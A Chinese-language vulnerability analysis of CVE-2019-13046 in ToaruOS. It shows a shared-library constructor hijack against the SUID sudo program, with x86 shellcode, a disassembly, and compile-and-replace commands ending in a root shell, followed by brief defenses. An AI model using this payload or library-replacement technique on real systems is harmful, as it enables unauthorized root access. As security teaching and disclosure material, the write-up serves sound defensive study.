CVE-2019-13046 ToaruOS sudo/llinker 提权漏洞分析
字数 1254 2025-08-26 22:11:45
ToaruOS sudo/llinker 提权漏洞分析教学文档
漏洞概述
本漏洞(CVE-2019-13046)是ToaruOS操作系统中一个结合sudo和动态链接器(llinker)的本地提权漏洞。攻击者可以通过替换系统动态链接库,在sudo程序执行时以root权限执行任意代码。
前置知识
1. __attribute__机制
__attribute__是GCC提供的扩展语法,用于设置函数属性、变量属性和类型属性。
关键特性:
- 语法格式:
__attribute__((attribute-list)) constructor属性:标记的函数会在main()函数执行前自动执行destructor属性:标记的函数会在main()执行后或exit()调用后自动执行
示例:
#include <stdio.h>
__attribute__((constructor)) void begin() {
printf("Constructor is called.\n");
}
__attribute__((destructor)) void after() {
printf("destructor is called.\n");
}
int main() {
printf("hello world\n");
return 0;
}
输出:
Constructor is called.
hello world
destructor is called.
2. ToaruOS动态链接机制
ToaruOS使用动态链接器(llinker)加载共享库,与Linux类似但实现不同。关键点:
- 动态库在程序启动时被加载
- 标记为
constructor的函数会在主程序执行前自动执行
漏洞原理
1. 动态库加载机制缺陷
ToaruOS中多个系统程序依赖动态链接库,例如:
fetch程序依赖libtoaru_hashmap.sosudo程序依赖libtoaru_auth.so
这些库的加载路径没有进行严格的权限验证,允许用户替换这些库文件。
2. sudo程序的SUID特性
sudo程序具有SUID权限:
- 启动时验证用户密码
- 验证通过后调用
setuid(0)提升为root权限 - fork并执行用户指定的命令
漏洞利用步骤
1. 构造恶意动态库
创建包含constructor属性的恶意动态库:
#include <stdio.h>
__attribute__((constructor)) void begin() {
printf("hello world\n");
}
编译:
gcc -fPIC -shared so.c -o so.so
2. 替换系统动态库
替换目标程序依赖的动态库:
- 对于
fetch程序:替换libtoaru_hashmap.so - 对于
sudo程序:替换libtoaru_auth.so
3. 构造提权payload
创建包含shellcode的恶意动态库:
unsigned char shellcode[] = {
0x31, 0xc0, 0x04, 0x18, 0x31, 0xdb, 0xcd, 0x7f, 0xeb, 0x1a, 0x5b, 0x31,
0xc0, 0x88, 0x43, 0x07, 0x89, 0x5b, 0x08, 0x89, 0x43, 0x0c, 0x04, 0x07,
0x8d, 0x4b, 0x08, 0x8d, 0x53, 0x0c, 0xcd, 0x7f, 0x31, 0xc0, 0xcd, 0x7f,
0xe8, 0xe1, 0xff, 0xff, 0xff, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68,
0x68, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58
};
__attribute__((constructor)) void mehness(void) {
((void (*)(void))shellcode)();
}
4. Shellcode分析
该shellcode执行以下操作:
- 调用
setuid(0)设置root权限 - 调用
system("/bin/shh")启动shell
ToaruOS系统调用通过int 0x7f实现:
setuid调用号:24 (0x18)system调用号:7
汇编代码解析:
xor eax, eax ; 清空eax
add al, 24 ; setuid系统调用号
xor ebx, ebx ; 参数uid=0
int 0x7f ; 触发系统调用
jmp short end ; 跳转到end
start:
pop ebx ; 获取字符串地址
xor eax, eax ; 清空eax
mov [ebx+7], al ; 字符串终止符
mov [ebx+8], ebx ; argv[0] = "/bin/shh"
mov [ebx+12], eax ; argv[1] = NULL
add al, 7 ; system系统调用号
lea ecx, [ebx+8] ; argv参数
lea edx, [ebx+12] ; envp参数
int 0x7f ; 触发系统调用
xor eax, eax ; exit(0)
int 0x7f
end:
call start ; 调用start,压入字符串地址
db "/bin/shh" ; 命令字符串
db "XXXXXXXX" ; 填充
完整利用流程
-
编译恶意动态库:
gcc -fPIC -shared poc.c -o libtoaru_auth.so -
替换系统库文件:
cp libtoaru_auth.so /path/to/system/lib/libtoaru_auth.so -
执行sudo程序:
sudo any_command -
恶意构造函数自动执行,获取root shell
防御措施
- 对SUID程序依赖的动态库进行完整性验证
- 限制动态库加载路径,禁止从用户可写目录加载
- 使用全路径加载动态库
- 对关键系统程序进行静态链接
总结
该漏洞利用ToaruOS动态链接机制和sudo的SUID特性,通过替换动态库并在构造函数中执行恶意代码实现提权。核心在于理解__attribute__((constructor))的自动执行特性和动态库加载机制。